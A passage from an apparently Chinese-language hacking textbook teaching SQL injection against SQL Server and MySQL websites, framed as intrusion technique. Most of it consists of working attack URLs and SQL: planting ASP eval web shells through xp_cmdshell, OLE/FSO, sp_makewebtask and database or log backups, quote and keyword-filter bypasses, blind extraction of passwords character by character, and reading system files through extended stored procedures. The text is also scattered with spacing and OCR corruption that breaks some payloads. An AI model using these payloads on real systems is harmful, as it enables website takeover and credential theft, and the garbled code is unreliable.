[name] [nvar char] ( 300) NOT NULL,[depth] [int] NOT NULL,[isf ile] [nvarchar] (50) NUL L);insert i nto tm p exec m aster..xp_dirtree ' e:/',1,1
然后,我们来获得 tmp 这个临时表中的第一条数据: http://www.xxx.com/index.asp?id=2 a nd (select am e fro m t mp where id= 1)> 1返回结果如图 5-1 所示:
图 5-2 得到数据库中第一条记录
从上面的返回结果我们可以看到临时表中的第一条记录了,其中“artic”就是该网站下第一个文件的文件名或目录。我们逐步的递增 ID 值便可以把所有的数据找出来,从而知道我们所要找的文件的绝对路径。
最后就是不要忘记把临时表删除,通过上面的方法,可以快速的找出网站的根目录所在。
(2)、写入 Web s hell
通过 SQL Server 往磁盘上写入文件同样有几种不同的方法,而且有不同的使用环境。以下将向大家一一介绍。
第一种:利用 XP_CMDSHELL。有了 shell 之后,利用 CMD.EXE 的内置命令 ECHO 来写入一个 ASP 文件。提交一下 URL 往这个网站的根目录下写入一个与句话木马服务端: http://www.xxx.com/index.asp?id= 2;exec master..xp_cmdshell ' echo ^<script ru nat= serverla ng uage=javascript^>eval(request.form("cmd"))^</script^> >e :\web\index.asp'
然后,在利用一句马的客户端提交一个大马,最终获得一个 webshell。不过要注意的是用 E
CHO 命令来写入文件时,像“<>”这些特殊符号前面必须加上转义字符“^”。
第二种:利用 SQL Server 的 OLE 对象接口,直接调用 FSO(File System Object,更多的内容在第 6 章)写入文件。SQL 语句如下:
declare @o int, @f int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\index.asp',1 exec sp_oamethod @f 'writeline',NULL,
'<script runat=server language=javascript>eval(request.form("cmd"))</script>';
用 URL 提交时的格式如下: http://www.xxx.com/index.asp?id=2; declare @o int, @f int exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\index.asp',1 exec sp_oamethod @f 'writeline',NULL,
'<script runat=server language=javascript>eval(request.form("cmd"))</script>';
第三种:利用存储过程 sp_makewebtask。其实它最终调用的还是 xp_ makewebtask 这个扩展存储过程。PUBLIC 权限在默认情况下都是没有权限访问它们的。提交以下依据将会在网站的根目录下生成一个 shell.asp:
http://www.xxx.com/index.asp?id=2;exec m aster..sp_makewebtask
@outputfile='e:\web\shell.asp',@charset=gb2312,@query='select "<scrip t run at=server language=javascript>eval(request.form("cmd"))</script>"'
第四种:备份。前面介绍的三种写入 SHELL 的方法,PUBLIC 权限默认情况下都是没有权限来利用的。而这个方法却可以。是目前 PUBLIC 权限用户写入 SHELL 的唯一途径了。这个方法是由 Swan@SEU 发现的。
为什么通过备份数据库到硬盘的方法就能获得一个Web Shell?这要从IIS 处理ASP 文件的机制说起。ASP 后缀的文件由 ASP.DLL(DLL 叫做动态连接库文件)负责解释执行的,
ASP 脚本以“<%”为开始标记,结束标记为“%>”。除此之外,其他所有字符不做任何的处理便直接返回给客户端。在能往数据库中插入任何数据的情况下,加入把数据库备份到磁盘并把后缀名设置为 ASP,同时备份文件里面包含了我们精心构造的“<%******%>”,结果我们就可以得到一个 shell 了。
不过根据 Swan 介绍,如果数据类型是文本格式的,如 TEXT、NVARCHAR 等,假设原始内容是“abc”,备份出来后,数据可能会被换成其他格式,如宽字符“a b c ”。如果这样,精心构造的 ASP SHELL 就可能不会成功运行了。但数据类型是二进制格式,如 IMAGE,就不会存在这个问题。但依然会存在其他可能存储的问题:
假如原始数据中本来即存在一些特殊字符,如“<%”之类,那么导出的 ASP 就无法正常执行了。
注入过程因失误注入一些无效的特殊字符,也会给 ASP 的正常运行带来麻烦。这样就可能要更换另一个数据库来继续注入、备份导出了。
不过我们使用备份中一个叫增量备份的方式可以比较好的解决上面所讲的问题,而且这样还避免备份出来的 ASP 文件太大。假设这里有一个数据库 hack,那么我们使用下面的 SQL 语句即可完成:
create t able tmp(str i mage)
backup dat abase hac k to disk ='e:\web\tmp.bak' with init
insert i nto tm p(str) va lues('<script l anguage=javascript>eval(request.form('cmd')<scritp>)') backup dat abase hac k to disk ='e:\web\shell.asp' with DIFFERENTIAL
其中,e:\web\tmp.bak 是备份,bak 是备份文件。
除了上面的备份方法得到 shell 外,我们还可以利用 Log 来备份得到 shell。当 SQL 注入是得到 DB_OWNER 权限时,接下来可以做的工作很多,比如找管理员密码、后台管理都可以帮助你拿到 Webshell,但是利用 Log 备份同样可以实现,而且 Log 备份出来的木马的体积小、成功的可能性很大。
不过在 Log 备份中,经常会遇到一些比较头痛的问题,那就是闭合问题,在这里也给大家做一个总结。
Log 备份的过程如下所示。如果返回正常的页面就说明我们这一步的操作成功了,如果没有返回正常页面就是出错了,我们可以根据返回的错误类型查找原因。 http://www.xxxx.com/xxx.asp?id=x;alter d atabase da tabasename set RECOVER FU LL
http://www.xxxx.com/xxx.asp?id=x;create table cm d(a im age)-- http://www.xxxx.com/xxx.asp?id=x;backup l og d atabasename do disk= 'c:\cmd' w ith init
http://www.xxxx.com/xxx.asp?id=x;insert into cm d(a) val ues('<%%25excute(request.form("cmd "))%%25>')--
http://www.xxxx.com/xxx.asp?id=x;backup l og d atabasename to disk= 'x:\xxx\xxxx\shell.asp'-- http://www.xxxx.com/xxx.asp?id=x;drop t able cm d--
在 Log 备份中,经常返回没有闭合的问题,下面就是一些我们可以将 values 中的内容
可以进行更换的方式,当我们的一种方式不行的话,就可以换另一种方式,当所有的方式都用完了,那么差不多 Log 备份也就没希望了。我们可以替换的内容有:
<%%25execute(request.form("cmd"))%%25>
<%execute(request.form("cmd"))%>
%><%execute re quest.form("cmd")%><%
<script la nguage=VBScript ru nat=server>executer re quest.form("cmd")</script>
<%25execute(request.form("l"))%25>
在做 Log 备份的时候,我们要注意一些问题:要注入我们目前所入侵的机器是不是 We b 主机,简单的方法就是利用前面寻找目录的方法翻看目录,看有没有 IIS 安装文件。当确定是 Web 主机后,就是要寻找这个网站的目录了,这个是很重要的,如果备份到一个错误的目录,当然我们就没办法访问了。
当备份成功后我们就可以利用一句马的客户端进行连接访问了,用 execute 正常备份出来时会有错误提示的,当显示 500 错误时,我们将 IE 错误提示打开,当显示“Microsoft V
BScript 运行时错误 错误'800a000d'类型不匹配:'execute'”时,表示我们已经成功了,这个时候就可以用客户端进行连接了。
2.突破限制
前面我们的演示都是基于最理想的情况下测试环境,即没有任何的限制。但是在我们真正的入侵过程中,通常回遇到各种各样的条件限制,而这个时候我们就要突破它的限制,接下来就为大家介绍。
在 SQL 注入过程中,单引号有着非常特殊的意义,如测试某个页面是否存在 SQL 注入漏洞。一般会提交如下 URL:
http://www.xxx.com/xx.asp?id=x’
SQL 注入过程中需要提交字符串参数时,也会需要用到单引号,如:
http://www.xxx.com/xx.asp?id=x an d 'xfocus'=user
所以现在稍微有点安全意识的程序员都会把参数中的单引号过滤掉,或者替换成两个单引号。但是如果不问青红皂白,把所有类型的参数都进行这样的过滤,还会存在安全隐患。过滤单引号对字符型的 SQL 注入能够起到有效的防御作用,但是对于数字型的 SQL 注入就无效了。因为对于数字型的 SQL 注入,不用单引号也可以达到提交字符串的效果,常用的方法有三种。
第一种:用 MSSQL 中的 CHAR 函数来组合字符串。CHAR 函数可以将 int ASC II 代码转换为字符的字符串。字符“x”的 ASCII 码为 120,即 16 进制的 0x78,所以下面的等式是成立:
'x'==char(120)==char(0x78)
需要注意的是一个等于号是赋值操作,而两个等于号的作用才是相等。
第二种:使用二进制字符串。字符“x”的十六进制为 0x78,二进制为 0x7800,相应的,“x
focus”字符串的二进制为 0x780066006f00630075007300,所以以下 URL 跟上面的 URL 都是等价的:
http://www.xxx.com/xx.asp?id=xand u ser=0x780066006f00630075007300
第三种:利用数据库中已有的字符串。例如要判断当前连接数据库的账号是否为“dbo”,先想办法用正常的途径往数据库中插入这个字符串,如利用我们注册信息历代用户名或密码等字段。然后:
http://www.xxx.com/xx.asp?id=x an d use r=(select 某字段 fro m 某表 where ID= x)
通过上面的介绍可以知道对于数字型的 SQL 注入,单纯的过滤单引号是远远不够的。
目前很多程序员也意识到了这个问题。于是很多程序员把“select”、“insert”等 SQL 关键字加入到过滤列表中,这就组成了我们目前经常所听到的通用防注入系统,在第四章中已
经有了简单的介绍了。最常见的过滤函数类似如下:
Function Che ckstr(String)
if n ot isn ull(String) or S tring<>"" t hen Dim T emp
T emp= Replace(String,"'","''")
T emp= Replace(String,"select","") T emp= Replace(String,"update","")
else
Checkstr= String end if
End fu nction
上面的函数的作用就是把“select”等 SQL 关键字替换成空,难道这样就可以阻挡我们入侵的步伐吗?答案为不可以。在解释原因之前先来看看 Replace()函数的定义: Replace(expression, fi nd,replacewith[,start[,count[,compare]]])
这个函数一共有六个参数,但一般程序员只会指定前面三个参数。最后一个参数 compare给大家解释一下。这个参数是可选的,通过指定不同的参数来指示以何种方式进行字符串比较。可选的参数有两个,一是以二进制方式(值为 0)进行比较,一是以文本方式(值为 1)进行比较。如果省略这个参数,就默认以二进制的方式进行字符串比较。通俗的讲,二进制方式的以上就是对字符比较时大小写敏感,文本方式对大小写则不敏感。
SQL Server 对命令的大小写是不敏感的,所以通过改变 SQL 关键字的大小写,如把“s elect”变为“sELecT”,不仅能绕过字符过滤,而且命令也能够正常执行,所以真正完全可靠的过滤函数应该类似于:
Function Che ckstr(String)
if n ot isn ull(String) or S tring<>"" t hen Dim T emp
T emp= Replace(String,"'","''")
T emp= Replace(String,"select","",1,-1,1)
T emp= Replace(String,"update","",1,-1,1) else
Checkstr= String end if
End fu nction
上面只是简单的为大家做了个演示,其实对于数字型的 SQL 注入,防御完全没有必要那么复杂,把参数用 IsNunmber 函数判断一下就行了。
在前面的演示过程中,都是通过从 IIS 返回的错误信息中获取我们所需要的数据。但是对于有经验的管理员来说,他会让服务器不显示错误信息,那么在这种情况下我们怎么办呢?接下来为大家介绍。
如果没有返回的错误信息,那么要获取我们想要的数据,其基本原理是把要获取的数据与某个值进行比较,如果相等,那么页面将返回正常。 这里根据我们所要获取的信息数据类型差别分为两种情况来讨论。
第一种:获取 INT 型数据。例如想要了解当前数据库中几张表,先猜它是否大于 10: http://www.xxx.com/xx.asp?id=x and (select count(*) fro m sysobjects where xtype= 'U')>10 如果页面显示不正常,那么更改数值继续猜,知道页面显示正常为止。我们还可以采用折算法以加快猜解速度。
这里简单为大家介绍一下折半算法,比如上面我们有 20 张表,假设一开始猜解 60,那么返回肯定是错误的了。这个时候就用折半算法,即猜解 60 的一半 30。这个时候返回还是错的,那么我们就猜解 30 的一半 15,那么返回正常。那么这个时候可以确定数据就在 1
5 到 30 之间。那么我们继续猜 15 到 30 之间的一半数,即 23。那么返回错误,那么又可以
确定正确的数字是位于 15 至 23 之间。那么我们继续猜 15 到 23 之间的一半,即 19,那么
返回正常。这个时候又可以确定正常数字位于 19 与 23 之间,那么再猜解 19 到 23 之间的一半 21,返回错误。那么这个时候就剩下一个 20 没有猜解了。这就是折半算法,利用其一半来快速定位数字大小。
第二种:获取字符串数据。把字符串拆分出来,最字符进行猜解,例如要猜解当前数据库的用户的第一个字符:
http://www.xxx.com/xx.asp?id=x an d SUBSTRING(user,1,1)='a'
如果不想用单引号,或者系统已经过滤了的话,可以把字符转换为 ASCII 码后再猜测也可以:
http://www.xxx.com/xx.asp?id=x an d SUBSTRING(user,1,1)='a'
3.其他技巧
前面已经为大家介绍了 ASCII 字符的猜解了。ASCII 字符大小是一字节,值位于 0~25 5 之间。UNICODE 字符(如汉字)大小是两个字节,值位于 0~65535 之间。那么我们猜解 UN
ICODE 字符的方法也和 ASCII 差不多。首先我们还是用 SUBSTRING 函数从目标中取出一位字符,然后用 UNICODE 函数获取这个自负的整数值,如果整数值大于 255,说明此字符为 UNICODE 字符,反之就是 ASCII 字符,猜解过程如下所示: http://www.xxx.com/xx.asp?id= xand UNIC ODE(substring(user,1,1)) f rom [user] where id= 4)
>32768
http://www.xxx.com/xx.asp?id= xand UNIC ODE(substring(user,1,1)) f rom [user] where id= 4)
>16384
对于一个 UNICODE 字符,用折半算法一般猜测 16 次就能得到结果。得到 UNICODE字符的整数值后,如何把它还原为字符?例如想要查询 23433 这个整数值对应的 UNICODE字符,那么输入以下命令即可:
select nch ar(23433)
或者借助 SQL 注入也可以了,如提交以下 URL: http://www.xxx.com/xx.asp?id=x and (select nchar(23433))>0返回的结果如图 5-2 所示,可以看到 23433 的值为“安”字。
图 5-2 34 33 的值为安
下面还介绍几种读取文件的方法。这里我就以读取 C 盘下的 boot.ini 为例子作为说明。要读取不同的文件,只需要改变这个目录就可以了。
第一种:利用 XP_CMDSHELL
create table hack..tmp(str nvarchar(800))
insert into hack..tmp exec master..xp_cmdshell 'type c:\boot.ini' drop table tmp
第二种:利用 OLE 对象接口
create table hack..tmp(str nvarchar(800)) declare @o int,@f int,@str nvarchar(4000)
exec sp_oacreate 'scripting.filesystemobject",@o out;
exec sp_oamethod @o,"opentextfile",@f out,"c:\boot.ini",1; exec sp_oamethod @f,"readall",@str out;
insert into hack..tmp values(@str) drop table tmp
第三种:BULK INSERT
create table hack..tmp (str nvarchar(800)) bulk insert hack..tmp from 'c:\boot.ini' drop table tmp
第四种:扩展存储过程 xp_readerrorlog
create table hack..tmp(str nvarchar(800),row int)
insert into tmp exec master..xp_readerrorlog 1,'c:\boot.ini' drop table tmp
上面的四种方法都是将 c:\boot.ini 中的数据写入了临时表 hack 中,至于如何读取临时表中的数据在前面已经讲述了,这里就不在重复了。而且要使用上面的四种方法必须是具有 SA 权限的用户。
下面我给大家列举其他的一些有用的存储过程,其中表 5-5 中的存储过程只需要 PUBL IC 权限即可操作,而表 5-6 则需要 SA 权限。
扩 展 存 储 过 程 用 途 使 用 范 例
xp_getfiledetails
xp_ntsec_enum domains
获取指定文件的详细信息,如大小、创建日期。
获取服务器名
exec master..xp_getfiledeta ils 'c:\boot.ini'
exec master..xp_ntsec_enu mdomains
xp_fileexist 判 断 目 录 / 文 件 是 否 存 在 exec master..xp_fileexist ' c:\boot.ini'
xp_msver 获 取 系 统 信 息 exec master.dbo.xp_msver
表 5-5 只需要 PUBLIC 权限
扩 展 存 储 过 程 用 途 使 用 范 例
Xp_availablemedia 列举可用的系统分区 Exec xp_availablemedia
Xp_enumgroups
列举系统中的用户组
Exec xp_enumgroup
Xp_makecab 将制定的多个文件压缩到一个档案中
Exec xp_makecab ‘c:\1.cab’,MSZIP,1,’c:\b oot.ini’,1
Xp_unpackcab 解 压 档 案 Exec xp_unpackcab ‘c:\1.cab’,’c:\tmp’,1 Xp_servicecontrol 控 制 指 定 服 务 Exec xp_servicecontrol ‘pause’,’schedul’
Exec xp_servicecontrol ‘start’,’schedul’ Exec xp_servicecontrol ‘stop’,’schedul’
表 5-5 需要 SA 权限
5.7 MySQL
到了这里相信大家都已经对 MySQL 安装及基本操作都有了一定的了解。MySQL 是目前使用最广泛的开源数据库系统,,其原因有 MySQL 很快而且稳定、很容易学习、可以在各种主流操作系统上运行而且可以用于多种程序设计语言来编写等等优点。同样的它也是一种关系数据库系统。
PHP 与 MySQL 相结合的数据库系统解决方案被越来越多的网站所采用,其中又以 “Linux+Apache+MySQL+PHP”的组合方式最为流行,这种组合被人们称为 LAMP 模式。MySQL不仅仅适合小型的网站,而且连 Yahoo!、美国航空航天局等数据量非常大的公司和机构也正在使用它。下面我将给大家介绍一些 MySQL 的高级黑客技术。
5.7.1 MySQL下的高级黑客技术
在MySQL中内置了很多函数,利用它们即使在没有联合查询功能的老版本MySQL上也可以做一些意想不到的操作。假设网站存在http://www.xxxx.com/,我们想知道用户ID等于 10 的用户的密码,那么首先进行如下请求:
http://www.xxxx.com/index.php?id=10 and length(password)=12#
我们通过 length()函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是 12 位,注意数字后要有一个#号。
接下来用 mid()和char()来暴力猜解口令的每一个字符: http://www.xxxx.com/index.php?id=10 and mid(password,1,1)=char(0x60)#
同样猜对了则页面返回正常。Mid()函数原型是“Mid(str,pos,len)”,也可以用 substring()函数。Char()函数的参数是 ASCII 值,在 0~255 之间,一个遍历过去就可以完成猜解。
另外还可以用 between()函数先判断这个字符是数字还是字母的大范围,这样就加快了暴力猜解的速度。比如要判断字符是否是小写字母还可以用如下请求: http://www.xxxx.com/index.php?id=10 and (mid(password,1,1) between char(0x61) and char(0x7A)#
除了 char()函数,还可以用 ord 函数来进行猜解。Ord 函数可以得到的字符 ASCII 值,所以它也能实现类似功能:
http://www.xxxx.com/index.php?id=10 and ord(mid(password,1,1))=0x6D# 用 ord 函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围: http://www.xxxx.com/index.php?id=10 and ord(mid(password,1,1))>0x41#
MySQL 除了前面给大家介绍的 load_file()函数可以读取文件外,还可以用 infile 和
outfile 语法可以读写文件。不过这涉及到了一些 PHP 的知识,所以把它放在第 10 章介绍。对于数据库系统,这里我主要给大家介绍了 SQL Server 和 MySQL。目前世界上还有很
多的数据库系统,比如非常著名的 Oracle、DB 等等,他们都是大型的商业数据库系统。上次我专门到查了下 Oracle 数据库系统的价格,标价是 42 万多人民币。一般使用这样的数据库系统是大型的网站、银行等机构。对于他们这样的网站一般采用“JSP+UNIX+ORACLE”架构。
对于这样大型的商业数据库系统只有少数的人接触的到,所以这里对于这样的商业数据库系统我并没有讲。不过他们都是属于关系数据库系统,所以前面所讲的 SQL 结构化查询语言的各种操作命令及语句也都适合他们,相信有这些基础基本上可以满足大家在入侵和代码分析过程中的需要了。
声明:本章中的部分 SQL 基础知识参考了清华大学出版社出版的《数据库系统原理与应用教程》该书由裘旭光、刘晶编著和和由人民邮电出版社出版的《MySQL 权威指南》该书由 Michael Kofler 著;部分黑客知识参考了由电子工业出版社出版的《网络渗透技术》,该书由王伟、郭添森等人编著。
你从本章可以学到如下几点:
1、基础知识
2、各类对象与方法
3、ASP 相关组件
4、学习 ADO 技术及相关对象